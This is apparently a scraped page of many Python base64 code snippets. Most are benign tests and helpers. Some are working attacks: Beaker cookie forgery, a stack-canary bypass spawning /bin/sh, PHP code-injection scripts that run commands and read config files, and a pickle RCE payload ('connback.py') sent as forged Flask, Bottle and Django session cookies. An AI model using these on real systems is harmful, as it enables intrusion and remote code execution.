Exemple #1
0
def salt_n_hash(password, salt=None):
    """
    Generate a salt and return in base64 encoding the hash of the
    password with the salt and the character '$' prepended to it.
    """
    salt = salt or b64( ''.join(chr(randint(0, 0xff)) for _ in range(N_SALT)) )
    return salt + '$' + b64( sha256(salt+password.encode("ascii")).digest() )
Exemple #2
0
def getInit():
    name=["Hair Shampoos Packet", "The YOUTH Makers", "Styling & Finishing Packet", "Styling Promotion Packet", "Shampoos Promotion Packet"]
    cost=[5600,6000,4800,3600,5000]
    intro=["""SCENT OF SANTA FE BALANCING SHAMPOOA gentle daily shampoo that’s wonderful for normalizing an oily scalp or soothing a dry one, loaded with botanicals that wash in softness and shine.Hydrates and softens hair with Shea Butter & Panthenol (Vitamin B5)Refreshes and deep-cleans your scalp with 10% pure plant extracts of Piñon, Sage and Juniper Berry – a fresh, invigorating blend inspired by the Sangrê de Cristo Mountains of Santa FeNatural anti-bacterial botanicals gently clean without strippingParaben free; color & keratin-treatment safe""",
           """RUSSIAN AMBER IMPERIAL SHAMPOOThe most restorative and color-protective shampoo ever made, this gives you the sexy, full, shiny-smooth hair of your dreams – in just one use.Named the best of the best by Vogue magazines internationallyTransforms all hair types: Wispy strands get body and shine; frizzy, over-processed hair gets smooth sleekness without flatnessGives even chemically damaged strands a dramatically youthful look, feel and radiance from the very first use. Eleven L-Amino acids (used at active strengths) and protective Silk, Wheat and Soy Proteins repair hair at a cellular levelProtects color from fading: An extraordinarily high dose of Panthenol (Vitamin B5) coupled with a catalyst, Phytantriol, sinks moisture deep into every strandKeeps hair sleek. Shea Butter imparts a finishing touch of weightless hydration for long-lasting bounce and resilienceA Russian-inspired blend of Chamomile, Grape Seed, Rosemary, Nettle, Burdock and Sage infuses hair with emollients for a healthy gleamScents hair with warm, sensuous notes of Amber Oil, channeling the opulence of the Romanov dynastyThick, honey-like formula lathers up luxuriously – a little goes a very long wayParaben & phthalate free; color & keratin-treatment safe""",
           """OUD ROYAL MEGA-CURL ENHANCERLight, satiny botanical styling crème makes naturally wavy hair especially pretty and wavy, and leaves curly hair super-soft, glossy and beautifully defined.Tames frizz; locks in time-released moisture for supple definition and a sexy shineLoves wavy and curly hair equally; activates even a hint of natural waveNourishing amino acids and botanical extracts boost color retention and calm flyawaysLocks out humidity for a sleek runway finishLaced with Pure Oud Essence for a light, unisex, sweet-woody scentParaben & phthalate free; color & keratin-treatment safe""",
           """MAUI WOWIE VOLUMIZING & THICKENING BEACH MISTUltra-light spray gives hair sexy volume and shiny, piecey, tousled waves (plus a gorgeous beachy scent).A texturizer and conditioning treatment in one, loaded with botanical moisturizersBoosts volume and amps up waves to recreate the piece-y, tousled, bombshell texture you get from the oceanLeaves hair gleaming and bouncy, not stiff; pure Orchid and Kukui oils impart a healthy, voluptuous feelBlend of Sea Salt and Aloe Vera creates gorgeous liftInfused with sexy, mood-boosting notes of pure Coconut and Tahitian Gardenia; perfect for your late-afternoon revival kit!Paraben & phthalate free; color & keratin-treatment safe""",
           """PEPPERMINT AND AVOCADO VOLUMIZING & CLARIFYING SHAMPOOOne of our most acclaimed products, this shampoo refreshes your scalp and deep-cleans your hair to keep it bouncy and gleaming.A generous dose of pure, crisp peppermint oil (2.3%) and 16 plant extracts create a tingly-cooling sensation, invigorating your scalp and your senses.Adds lift at the roots. Rich lather clears away scalp oils and styling product residue to get your hair and scalp super-clean without stripping.Stimulates circulation; leaves even troubled scalps refreshed.Safe for color-treated hair; ideal for use with our Rejuvenating Oil.Paraben free; keratin-treatment safe"""
           ]
    Ingredient =["""Water (Aqua), Sodium Laureth Sulfate, Propylene Glycol, Decyl Glucoside, Cocamide MIPA, Fragrance (Parfum), Juniperus Communis Fruit Extract, Salvia Officinalis (Sage) Leaf Extract, Guar Hydroxypropyltrimonium Chloride, Citric Acid, Butyrospermum Parkii (Shea) Butter, Glycol Distearate, Limonene, Panthenol, Sodium Chloride, Chlorophyllin-Copper Complex (CI 75810), Linalool, Benzyl Benzoate, Coumarin, Betula Alba Leaf Extract, Echinacea Purpurea Extract, Ginkgo Biloba Leaf Extract, Panax Ginseng Root Extract, Camellia Oleifera Leaf Extract, Dioscorea Villosa (Wild Yam) Root Extract, Vitis Vinifera (Grape) Seed Extract, Arctium Lappa Root Extract, Chamomilla Recutita (Matricaria) Flower Extract, Equisetum Arvense Extract, Frangula Alnus Bark Extract, Geranium Maculatum Extract, Juglans Nigra (Black Walnut) Leaf Extract, Larrea Divaricata Extract, Quassia Amara Wood Extract, Rosmarinus Officinalis (Rosemary) Leaf Extract, Symphytum Officinale Rhizome/Root Extract, Urtica Dioica (Nettle) Extract, Methylchloroisothiazolinone, Methylisothiazolinone"""
           """Water (Aqua), Sodium Laureth Sulfate, Fragrance (Parfum), Disteareth-75 IPDI, Benzyl Benzoate, PPG-3 Benzyl Ether Myristate, Cocamidopropyl Betaine, PEG-150 Distearate, Cocamide MEA, Decyl Glucoside, Glyceryl Caprylate, Guar Hydroxypropyltrimonium Chloride, Chlorphenesin, Sodium Benzoate, Glycerin, Butyrospermum Parkii (Shea) Butter, Sodium PCA, Caprylhydroxamic Acid, Caramel, Sodium Lactate, Phytantriol, Arginine, Benzyl Salicylate, Citric Acid, Alpha-Isomethyl Ionone, Hexyl Cinnamal, Aspartic Acid, Panthenol, PCA, Coumarin, Hydroxycitronellal, Linalool, Glycine, Citronellol, Alanine, Polysorbate 20, Serine, Valine, Isoleucine, Proline, Threonine, Histidine, Phenylalanine, Arctium Lappa Root Extract, Chamomilla Recutita (Matricaria) Flower Extract, Rosmarinus Officinalis (Rosemary) Leaf Extract, Salvia Officinalis (Sage) Leaf Extract, Urtica Dioica (Nettle) Extract, Yellow 5 (CI 19140), Styrax Benzoin Resin Oil, Benzaldehyde, Benzoic Acid, Cinnamic Acid, Coniferyl Benzoate, Vanillin, Vitis Vinifera (Grape) Seed Oil.*Ingredients are subject to change at the manufacturer's discretion. For the most complete and up-to-date list of ingredients, refer to the product packaging.""",
           """Water (Aqua), Cetearyl Alcohol, Fragrance (Parfum), Carthamus Tinctorius (Safflower) Oleosomes, Cetyl Esters, Phenoxyethanol, Hydroxyethylcellulose, Behentrimonium Chloride, Glycerin, Panthenol, Schinziophyton Rautanenii Kernel Oil, Quaternium-91, Glycolic Acid, Cetrimonium Methosulfate, Polyquaternium-37, Sodium Benzoate, Polyurethane-14, Aminomethyl Propanol, Linalool, Hexyl Cinnamal, Citronellol, Ethylhexylglycerin, AMP-Acrylates Copolymer, Cetrimonium Chloride, Benzyl Salicylate, Amodimethicone, Butylphenyl Methylpropional, Limonene, Tetrasodium EDTA, Amyl Cinnamal, Alpha-Isomethyl Ionone, Hydroxyisohexyl 3-Cyclohexene Carboxaldehyde, Hydrolyzed Lupine Seed Extract, Cinnamal, Sodium PCA, Sodium Lactate, Cetyl Alcohol, Arginine, Aspartic Acid, Trideceth-12, PCA, Geraniol, Benzyl Benzoate, Citral, Glycine, Alanine, Serine, Valine, Isoleucine, Proline, Threonine, Histidine, Phenylalanine, Styrax Benzoin Resin Oil, Benzaldehyde, Benzoic Acid, Benzyl Benzoate, Cinnamic Acid, Coniferyl Benzoate, Vanillin""",
           """Water/Aqua, Sea Salt/Maris Sal, Chondrus Crispus (Carrageenan), Propylene Glycol, Citric Acid, Polysorbate 20, Fragrance/Parfum, Sodium Benzoate, Methylisothiazolinone, Aloe Barbadensis Leaf Juice, Caprylic/Capric Triglyceride, Cymbidium Grandiflorum Flower Extract, Cocos Nucifera (Coconut) Oil, Gardenia Tahitensis Flower Extract, Aleurites Moluccana Seed Oil, Blue 1/CI 42090.""",
           """Water (Aqua), Sodium Laureth Sulfate, PEG-120 Methyl Glucose Dioleate, Polysorbate 20, Fragrance (Parfum), Cocamidopropyl Betaine, Propylene Glycol, Menthol, Hydrolyzed Soy Protein, Citric Acid, Cocodimonium Hydroxypropyl Hydrolyzed Wheat Protein, Geranium Maculatum Extract, Gardenia Florida Flower Extract, Prunus Amygdalus Dulcis (Sweet Almond) Seed Extract, Juglans Nigra (Black Walnut) Shell Extract, Lavandula Angustifolia (Lavender) Flower Extract, Olea Europaea (Olive) Fruit Extract, Betula Alba Leaf Extract, Echinacea Purpurea Extract, Ginkgo Biloba Leaf Extract, Panax Ginseng Root Extract,Camellia Oleifera Leaf Extract, Dioscorea Villosa (Wild Yam) Root Extract, Vitis Vinifera (Grape) Seed Extract, Arachis Hypogaea (Peanut) Oil, Cananga Odorata Flower Oil, Persea Gratissima (Avocado) Oil, Sesamum Indicum (Sesame) Seed Oil, Simmondsia Chinensis (Jojoba) Seed Oil, Limonene, Yellow 5 (CI 19140), Methylchloroisothiazolinone, Blue 1 (CI 42090), Methylisothiazolinone, Red 4 (CI 14700), Arctium Lappa Root Extract, Chamomilla Recutita (Matricaria) Flower Extract, Equisetum Arvense Extract, Frangula Alnus Bark Extract, Juglans Nigra (Black Walnut) Leaf Extract, Larrea Divaricata Extract, Quassia Amara Wood Extract, Rosmarinus Officinalis (Rosemary) Leaf Extract, Symphytum Officinale Rhizome/Root Extract, Urtica Dioica (Nettle) Extract""",
           ]
    Manual=["""Massage onto wet hair and skin. Take a minute or two to breathe in the formula’s aromatherapeutic blend of botanicals.  Rinse well.FOR BEST RESULTS: Follow with our Light-Weight Deep Conditioning Crème Rinse and our Restorative Detangling Toning Mist.""",
           """Apply to wet hair and scalp, working the lather down through the ends. Leave on for 1 to 3 minutes. Rinse well. Repeat if desired. FOR BEST RESULTS:Follow with Philip B® Russian Amber Imperial Conditioning Crème, or Philip B® Light-Weight Deep Conditioning Crème Rinse and Philip B® pH Restorative Detangling Toning Mist.""",
           """Work a small amount through damp hair. Blow out with a diffuser or air dry.""",
           """Shake bottle well. Spray evenly on damp or dry hair. Air-dry or blow-dry with a diffuser, scrunching as you go, to bring out waves and bounce.""",
           """Apply to wet hair; massage into your scalp with your fingertips. Leave on for 1 to 3 minutes. Rinse well. Repeat if desired.FOR BEST RESULTS: Follow with Philip B® Light-Weight, Deep Conditioning Crème Rinse and Philip B® pH Restorative Detangling Toning Mist.""",
           ]
    img1=["i2.png","i5.png","i3.png","i1.png","i4.png"]
    img2=["p2.png","p5.png","p3.png","p1.png","p4.png"]
    arr=[]
    for i in range(0,4):
        arr.append([b64(name[i]),cost[i],b64(intro[i]),b64(Ingredient[i]),b64(Manual[i]),b64(img1[i]),b64(img2[i])])
    
    
    return arr
Exemple #3
0
 def pickle_postings(self, pmid_set):
     """Pcikele the postings into posting FileField"""
     with NamedTemporaryFile() as tmp_file:
         pickle.dump(pmid_set, tmp_file)
         pickle_file = File(tmp_file)
         self.postings.save("%s.pickle" % b64(self.query_term), pickle_file)
         self.save()
Exemple #4
0
def send_beaker_encrypt(validate_key, add, payload, encrypt_key):
    from beaker import crypto #yes we need it, will port it when we have time
    nonce = '12345678' #anything 8 bytes
    encrypt_key = crypto.generateCryptoKeys(encrypt_key, validate_key + nonce, 1)
    data = nonce + b64(crypto.aesEncrypt(payload, encrypt_key))
    mac = hmac(validate_key, data.encode('UTF-8'), hashlib.sha1).hexdigest()
    s = mac + data
    print requests.get(add, cookies={'beaker.session.id':s})
Exemple #5
0
 def test_from_api_repr_no_attributes(self):
     from base64 import b64encode as b64
     DATA = b'DEADBEEF'
     B64_DATA = b64(DATA)
     MESSAGE_ID = '12345'
     api_repr = {'data': B64_DATA, 'messageId': MESSAGE_ID}
     message = self._getTargetClass().from_api_repr(api_repr)
     self.assertEqual(message.data, DATA)
     self.assertEqual(message.message_id, MESSAGE_ID)
     self.assertEqual(message.attributes, {})
Exemple #6
0
    def test_wrongPasswordBasicAuth(self):
        """
        Test that a wrong password with BASIC auth is handled gracefully.
        """

        def rendered(request):
            self.assertEqual(json.loads(request.getWrittenData()), {"status": "fail", "data": "Authentication failed."})

        return self.api.test(
            "/v1/requiresAuth", headers={"Authorization": ["BASIC {}".format(b64("bob:word"))]}
        ).addCallback(rendered)
Exemple #7
0
    def test_correctBasicAuth(self):
        """
        Test that authentication works.
        """

        def rendered(request):
            self.assertEqual(
                json.loads(request.getWrittenData()), {"status": "success", "data": {"username": "******"}}
            )

        return self.api.test(
            "/v1/requiresAuth", headers={"Authorization": ["BASIC {}".format(b64("bob:pass"))]}
        ).addCallback(rendered)
Exemple #8
0
    def test_weirdAuthorizationHeader(self):
        """
        Test that weird auth headers are handled gracefully.
        """

        def rendered(request):
            self.assertEqual(
                json.loads(request.getWrittenData()), {"status": "fail", "data": "Malformed Authorization header."}
            )

        return self.api.test(
            "/v1/requiresAuth", headers={"Authorization": ["BASIC {}".format(b64("bob:pass:word"))]}
        ).addCallback(rendered)
    def test_wrongPasswordBasicAuth(self):
        """
        Test that a wrong password with BASIC auth is handled gracefully.
        """
        def rendered(request):
            self.assertEqual(json.loads(request.getWrittenData()), {
                "status": "fail",
                "data": "Authentication failed."
            })

        return self.api.test("/v1/requiresAuth",
                             headers={
                                 "Authorization":
                                 ["BASIC {}".format(b64("bob:word"))]
                             }).addCallback(rendered)
Exemple #10
0
 def oauth_complete(self, code=None):
     LOG.debug("completing oauth with code=%s", code)
     auth = 'Basic {}'.format(
         b64(
             bytes(
                 '{}:{}'.format(urllib.parse.quote(self.client_id),
                                urllib.parse.quote(self.client_secret)),
                 'utf-8')).decode('utf-8'))
     resp = self.post(self.OAUTH_ACCESS,
                      headers={'Authorization': auth},
                      data={
                          'code': code,
                          'redirect_uri': self.oauth_base_uri + self.team
                      })
     return resp.json()
Exemple #11
0
 def test_from_api_repr_w_attributes(self):
     from base64 import b64encode as b64
     DATA = b'DEADBEEF'
     B64_DATA = b64(DATA)
     MESSAGE_ID = '12345'
     ATTRS = {'a': 'b'}
     api_repr = {
         'data': B64_DATA,
         'messageId': MESSAGE_ID,
         'attributes': ATTRS
     }
     message = self._getTargetClass().from_api_repr(api_repr)
     self.assertEqual(message.data, DATA)
     self.assertEqual(message.message_id, MESSAGE_ID)
     self.assertEqual(message.attributes, ATTRS)
 def savepic():
     if request.method == 'POST':
         print(
             f'\n{self.conn_num+1} [+] {config.GREEN}WEBCAM_SNAP INVOKED BY  {self.ip}:- {config.WHITE}{config.YELLOW} {request.user_agent} {config.WHITE}{config.GREEN}WAITING FOR PIC.{config.WHITE}\n'
         )
         name = '[PIC]_' + datetime.now().strftime(
             '%Y_%m_%d-%H_%M_%S') + '_' + self.GenName() + '.jpeg'
         with open(name, 'wb') as f:
             f.write(
                 b64(request.get_json().replace(
                     'data:image/jpeg;base64,', '')))
             print(
                 f'\n{self.conn_num+1} [+] {config.GREEN}PIC RECEIVED FROM {self.ip}:- {config.WHITE}{config.YELLOW} {self.ua}{config.WHITE}\n'
             )
         return '200', 'OK'
Exemple #13
0
    def run_sql(self, *, sql: str, name: str) -> requests.Response:
        """Sends a request with the method ``run_sql`` to the dbt RPC server, and returns the
        response. For more details, see the dbt docs for `running SQL via RPC
        <https://docs.getdbt.com/reference/commands/rpc#executing-a-query>`_.

        Args:
            sql (str): the SQL to run in base-64 encoding.
            name (str): a name for the compiled SQL.

        Returns:
            Response: the HTTP response from the dbt RPC server.
        """
        data = self._default_request(method="run_sql")
        data["params"] = {"sql": b64(sql.encode("utf-8")).decode("utf-8"), "name": name}
        return self._post(data=json.dumps(data))
Exemple #14
0
    def test_weirdAuthorizationHeader(self):
        """
        Test that weird auth headers are handled gracefully.
        """
        def rendered(request):
            self.assertEqual(json.loads(request.getWrittenData()), {
                "status": "fail",
                "data": "Malformed Authorization header."
            })

        return self.api.test("/v1/requiresAuth",
                             headers={
                                 "Authorization":
                                 ["BASIC {}".format(b64("bob:pass:word"))]
                             }).addCallback(rendered)
 def test_from_api_repr_no_attributes(self):
     from base64 import b64encode as b64
     DATA = b'DEADBEEF'
     B64_DATA = b64(DATA)
     MESSAGE_ID = '12345'
     TIMESTAMP = '2016-03-18-19:38:22.001393427Z'
     api_repr = {
         'data': B64_DATA,
         'messageId': MESSAGE_ID,
         'publishTime': TIMESTAMP,
     }
     message = self._getTargetClass().from_api_repr(api_repr)
     self.assertEqual(message.data, DATA)
     self.assertEqual(message.message_id, MESSAGE_ID)
     self.assertEqual(message.attributes, {})
     self.assertEqual(message.service_timestamp, TIMESTAMP)
 def test_from_api_repr_no_attributes(self):
     from base64 import b64encode as b64
     DATA = b'DEADBEEF'
     B64_DATA = b64(DATA)
     MESSAGE_ID = '12345'
     TIMESTAMP = '2016-03-18-19:38:22.001393427Z'
     api_repr = {
         'data': B64_DATA,
         'messageId': MESSAGE_ID,
         'publishTimestamp': TIMESTAMP,
     }
     message = self._getTargetClass().from_api_repr(api_repr)
     self.assertEqual(message.data, DATA)
     self.assertEqual(message.message_id, MESSAGE_ID)
     self.assertEqual(message.attributes, {})
     self.assertEqual(message.service_timestamp, TIMESTAMP)
Exemple #17
0
    def test_correctBasicAuth(self):
        """
        Test that authentication works.
        """
        def rendered(request):
            self.assertEqual(json.loads(request.getWrittenData()), {
                "status": "success",
                "data": {
                    "username": "******"
                }
            })

        return self.api.test("/v1/requiresAuth",
                             headers={
                                 "Authorization":
                                 ["BASIC {}".format(b64("bob:pass"))]
                             }).addCallback(rendered)
def loginBB(session):
    login_url = "http://bb.unist.ac.kr"
    while True:
        student_id = input("학번을 입력하세요: ")
        pw = getpass("비밀번호를 입력하세요(보이지 않아도 입력되고 있는 중이에요!): ")

        data = { 'user_id': student_id, 'password': '', 'encoded_pw': b64(pw.encode()) }

        print("\n로그인 페이지를 가져오는 중입니다..")
        html = getHTML(session, login_url, data=data)

        if html.find("Global Menu") == -1 and html.find("redirected to another page") == -1:
            print("올바르지 못한 ID와 비밀번호 입니다 :(")
            print("다시 입력해주세요...\n")
            continue
        else:
            break
    return session
Exemple #19
0
    def run_sql(self, sql: str, name: str) -> DbtRpcOutput:
        """Sends a request with the method ``run_sql`` to the dbt RPC server, and returns the
        response. For more details, see the dbt docs for `running SQL via RPC
        <https://docs.getdbt.com/reference/commands/rpc#executing-a-query>`_.

        Args:
            sql (str): the SQL to run in base-64 encoding.
            name (str): a name for the compiled SQL.

        Returns:
            Response: the HTTP response from the dbt RPC server.
        """
        explicit_params = dict(sql=b64(sql.encode("utf-8")).decode("utf-8"),
                               name=name)
        params = self._format_params(explicit_params)
        data = self._default_request(method="run_sql", params=params)

        return self._get_result(data=json.dumps(data))
Exemple #20
0
def Encrypt(data, secKey=0):
    if not secKey:
        secKey = ''.join([
            random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN'
                          'OPQRSTUVWXYZ0123456789') for _ in xrange(16)
        ])
    aes = lambda text, secKey, pad: b64(
        AES.new(secKey, 2, '0102030405060708').encrypt(text + chr(pad) * pad)
    ).decode('utf8')

    data = json.dumps(data)
    for key in ['0CoJUm6Qyw8W8jud',
                secKey]:  # two times AES encrypt with different key
        data = aes(data, key, 16 - len(data) % 16)
    biBase = int(binascii.hexlify(secKey[::-1]), 16)
    return {
        'params': data,
        'encSecKey': modpow(biBase, 65537, biMod).__format__('x').zfill(256)
    }  # 'encSecKey': format( pow(biBase, 65537) % biMod, 'x' ).zfill(256)
Exemple #21
0
def main():
	with open("what") as f:
		#line = f.read().split("\n")
		line = str.decode(f.read(), "utf-8").split("\n")

	"""
	for w in line:
		print w, "".join([hex(ord(c))[2:] for c in w.upper()])
	"""
	hashes = []

	for word in [x for x in line if x]:
		#if word != u"Zusammenschluß": continue
		len_original = len(word)
		print "Length of word:", len_original

		first_word = "".join( [(c + str(len_original)) for c in word ])
		print "First step:", first_word

		second_word = first_word[::-1]
		print "Second step:", second_word	

		third_word = second_word.upper()
		print "Third step:", third_word

		fourth_word = "".join([hex(ord(c))[2:] for c in third_word])
		print "Fourth step:", fourth_word 

		fifth_word = b64(fourth_word).replace("\n", "")
		print "Fifth step: \"" +  fifth_word + "\""
	
		sixth_word = fifth_word.lower()
		print "Sixth step:", sixth_word

		seventh_word = sixth_word.replace("=", "")
		print "Seventh step:", seventh_word

		eigth_word = hashlib.md5(seventh_word).hexdigest()
		print "Eighth step:", eigth_word

		hashes.append(eigth_word)

	print hashlib.md5("".join(hashes)).hexdigest()
Exemple #22
0
    def build_query(
        self, method, kwargs, sql=None, test_request_id=1, macros=None
    ):
        body_data = ''
        if sql is not None:
            body_data += sql

        if macros is not None:
            body_data += macros

        if sql is not None or macros is not None:
            kwargs['sql'] = b64(body_data.encode('utf-8')).decode('utf-8')

        return {
            'jsonrpc': '2.0',
            'method': method,
            'params': kwargs,
            'id': test_request_id
        }
Exemple #23
0
def main():
    with open("what") as f:
        #line = f.read().split("\n")
        line = str.decode(f.read(), "utf-8").split("\n")
    """
	for w in line:
		print w, "".join([hex(ord(c))[2:] for c in w.upper()])
	"""
    hashes = []

    for word in [x for x in line if x]:
        #if word != u"Zusammenschluß": continue
        len_original = len(word)
        print "Length of word:", len_original

        first_word = "".join([(c + str(len_original)) for c in word])
        print "First step:", first_word

        second_word = first_word[::-1]
        print "Second step:", second_word

        third_word = second_word.upper()
        print "Third step:", third_word

        fourth_word = "".join([hex(ord(c))[2:] for c in third_word])
        print "Fourth step:", fourth_word

        fifth_word = b64(fourth_word).replace("\n", "")
        print "Fifth step: \"" + fifth_word + "\""

        sixth_word = fifth_word.lower()
        print "Sixth step:", sixth_word

        seventh_word = sixth_word.replace("=", "")
        print "Seventh step:", seventh_word

        eigth_word = hashlib.md5(seventh_word).hexdigest()
        print "Eighth step:", eigth_word

        hashes.append(eigth_word)

    print hashlib.md5("".join(hashes)).hexdigest()
Exemple #24
0
    def calculateToken(self, ip):
        """
        " Compute the `token` and the `expires` values in order to perform each next requests
        """

        from time import time
        from base64 import b64encode as b64
        import hashlib
        o = 48

        # NOT USED: it has been computed by `jsondata` in the constructor method
        # n = support.match('https://au-1.scws-content.net/get-ip').data

        i = 'Yc8U6r8KjAKAepEA'
        t = int(time() + (3600 * o))
        l = '{}{} {}'.format(t, ip, i)
        md5 = hashlib.md5(l.encode())
        #s = '?token={}&expires={}'.format(, t)
        token = b64(md5.digest()).decode().replace('=', '').replace(
            '+', "-").replace('\\', "_")
        expires = t
        return token, expires
Exemple #25
0
    def calculateToken(ip_client):
        from time import time
        from base64 import b64encode as b64
        import hashlib

        expires = int(time() + 172800)
        token = b64(
            hashlib.md5('{}{} Yc8U6r8KjAKAepEA'.format(
                expires,
                ip_client).encode('utf-8')).digest()).decode('utf-8').replace(
                    '=', '').replace('+', '-').replace('/', '_')

        s = '?token={}&expires={}&n=1'.format(token, expires)

        #o = 48
        #i = 'Yc8U6r8KjAKAepEA'
        #t = int(time() + (3600 * o))
        #l = '{}{} {}'.format(t, ip_client, i)
        #md5 = hashlib.md5(l.encode())
        #s = '?token={}&expires={}'.format(b64(md5.digest()).decode().replace('=', '').replace('+', "-").replace('\\', "_"), t)

        return s + '&n=1'
Exemple #26
0
    def _make_request(self):
        # Weirdly enough, this doesn't seem to require authentication
        data = [
            {
                "request": {"sinceRevision": 0},
                "action": "http://linksys.com/jnap/devicelist/GetDevices",
            }
        ]

        token = b64(bytes(self.username + ":" + self.password, "utf8")).decode("ascii");

        headers = {
                "X-JNAP-Action": "http://linksys.com/jnap/core/Transaction",
                "X-JNAP-Authorization": "Basic " + token
        }
        
        
        return requests.post(
            f"http://{self.host}/JNAP/",
            timeout=DEFAULT_TIMEOUT,
            headers=headers,
            json=data,
        )
Exemple #27
0
p.recvuntil("captcha : ")
data = p.recvline()[:-1]

canary = canary_comp()
#p.sendline(data)

log.info("captcha: %s" % int(data))

if canary % 256 != 0:
    log.info("Syncing problems with seed!")
    for i in [1, -1, 2, -2, 3, -3]:
        canary = random_gen() - int(data) & 0xffffffff
        if canary % 256 == 0:
            break
        else:
            pass

log.info("Canary: %s" % hex(canary))

payload = b"A" * 512
payload += p32(canary)
payload += b"A" * 12
payload += p32(system)
payload += p32(0x0804b3ac)  # bin_sh string
payload = b64(payload)
payload += b"/bin/sh\x00"

p.sendline(data)
p.sendline(payload)
p.interactive()
Exemple #28
0
debug = False
CHECK_FMT = "{0}?{1});echo(base64_decode('{2}')=/"
INFO_FMT = "{0}?{1});echo(base64_decode('{2}'));phpinfo();echo(base64_decode('{3}')=/"
# to read include/base.inc.php
CONFIG_FMT = "{0}?{1});echo(base64_decode('{2}'));readfile(base64_decode('aW5jbHVkZS9iYXNlLmluYy5waHA%3D'));echo(base64_decode('{3}')=/"
EXEC_FMT = "{0}?{1});echo(base64_decode('{2}'));{3}(base64_decode('{4}'));echo(base64_decode('{5}')=/"
index_url = sys.argv[1]

char = chr(random.randint(97, 122))
start_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
end_mark = hashlib.md5(str(random.random())).hexdigest()[:15]

print "[*] Testing for vulnerability..."
random_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
url = CHECK_FMT.format(index_url, char, b64(random_mark))
if debug:
    print url
r = urllib.urlopen(url)
if not random_mark in r.read():
    print "[-] Website is not vulnerable :'("
    sys.exit()

print "[+] Website is vulnerable"
print


def extract_between(data):
    global start_mark
    global end_mark
Exemple #29
0
 def __str__(self):
     b = max(bytelen(self.__key),bytelen(self.__mod))
     v = hexunpack(self.__key,b) + hexunpack(self.__mod)
     return b64(v)
Exemple #30
0
debug = False
CHECK_FMT = "{0}?{1});echo(base64_decode('{2}')=/"
INFO_FMT = "{0}?{1});echo(base64_decode('{2}'));phpinfo();echo(base64_decode('{3}')=/"
# to read include/base.inc.php
CONFIG_FMT = "{0}?{1});echo(base64_decode('{2}'));readfile(base64_decode('aW5jbHVkZS9iYXNlLmluYy5waHA%3D'));echo(base64_decode('{3}')=/"
EXEC_FMT = "{0}?{1});echo(base64_decode('{2}'));{3}(base64_decode('{4}'));echo(base64_decode('{5}')=/"
index_url = sys.argv[1]

char = chr(random.randint(97,122))
start_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
end_mark = hashlib.md5(str(random.random())).hexdigest()[:15]

print "[*] Testing for vulnerability..."
random_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
url = CHECK_FMT.format(index_url, char, b64(random_mark))
if debug:
    print url
r = urllib.urlopen(url)
if not random_mark in r.read():
    print "[-] Website is not vulnerable :'("
    sys.exit()

print "[+] Website is vulnerable"
print

def extract_between(data):
    global start_mark
    global end_mark

    if start_mark not in data or end_mark not in data:
Exemple #31
0
                lines = []
                for line in fd:
                    pos = line.find(b'src = ')
                    if pos == -1:
                        lines.append(line)
                    else:
                        """
                        iFirst_src = '../images/first.bmp';
                        """
                        pos += 6
                        new_line = []
                        new_line.append(line[:pos])
                        new_line.append(b"'data:image/bmp;base64,")
                        path = line[pos:][4:-3]
                        src = open(path, 'rb').read()
                        new_line.append(b64(src))
                        new_line.append(b"';")
                        line = b''.join(new_line)
                        lines.append(line)
                data = b'\n'.join(lines)
            else:
                data = fd.read()

            p = Popen(['python', 'jsmin.py'], stdin=PIPE, stdout=PIPE)
            stdout,stderr = p.communicate(data)
            fn.write(stdout[1:])  # strip leading '\n'

    fn.write('</script>'.encode('utf-8'))

    html = '</head><body onload="on_load();"/></html>'
    fn.write(html.encode('utf-8'))
Exemple #32
0
    def auth(self, pw=None, user="******"):
        if pw is None: pw = self.pw

        return {"X-JNAP-Authorization": "Basic " + b64(user + ":" + pw)}
Exemple #33
0
def get(request):
    if request.method in ['POST', 'GET']:
        url = request.GET.get('url', '')
        callback = request.GET.get('callback', '')
        tor = request.GET.get('tor', '')
        compress = request.GET.get('compress', '')
        origin = 'http://www.alloworigin.com'
    else:
        return HttpResponse('invalid request')

    # check valid url starts here
    if url != '' and url != origin.replace('www.', '') and url != origin:
        validate = URLValidator()
    else:
        return HttpResponse('invalid url')

    try:
        validate(url)
    except ValidationError:
        return HttpResponse('invalid url')
    # check valid url ends here

    # check if within 10 seconds from now, the same url has been requested
    if is_abuse(get_client_ip(request), url):
        return HttpResponse('rate limited. 1 request per 5 seconds.')

    # request
    try:
        if tor == '1':
            pytor_instance = pytor()
            try:
                # try to send tor request
                r = pytor_instance.get(url, timeout=3)
                origin = get_server_ip(tor='1', pytor_instance=pytor_instance)
            except Exception:
                # if tor not avail, use local instead
                r = requests.get(url, timeout=3)
                origin = get_server_ip()
        else:
            r = requests.get(url, timeout=3)
            origin = get_server_ip()

    except requests.exceptions.Timeout:
        return HttpResponse('timed out')

    this_request = Request(ip=get_client_ip(request), dest=url)
    this_request.save()

    if callback not in ['?', '']:
        if compress == '1':
            from base64 import b64encode as b64
            response = JsonResponse(
                {"contents": b64(r.text.encode('utf-8').encode('zlib_codec')),
                 "status_code": r.status_code,
                 "origin": origin, "destination": url}
                )
        else:
            response = JsonResponse({"contents": r.text,
                                     "status_code": r.status_code,
                                     "origin": origin,
                                     "destination": url})
        return HttpResponse(callback+"("+response.content+")",
                            content_type="application/json")
    else:
        if compress == '1':
            from base64 import b64encode as b64
            return JsonResponse(
                {"contents": b64(r.text.encode('utf-8').encode('zlib_codec')),
                 "status_code": r.status_code,
                 "origin": origin, "destination": url}
                )
        else:
            return JsonResponse(
                {"contents": r.text, "status_code": r.status_code,
                 "origin": origin, "destination": url}
                )
Exemple #34
0
import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
    
payload = b64(open('connback.py').read())

class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(payload),) )

def send_flask(key, add, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
    print requests.get(add, cookies={'session':s})

def send_bottle_cookie(key, add, payload, cookie):
    data = b64(payload)
    mac = b64(hmac(key, data).digest())
    s = '!%(sig)s?%(data)s' % {'sig':mac, 'data':data}
    print requests.get(add, cookies={cookie:s})

def send_django(key, add, payload):
    def base64(s): #taken from django
        import base64
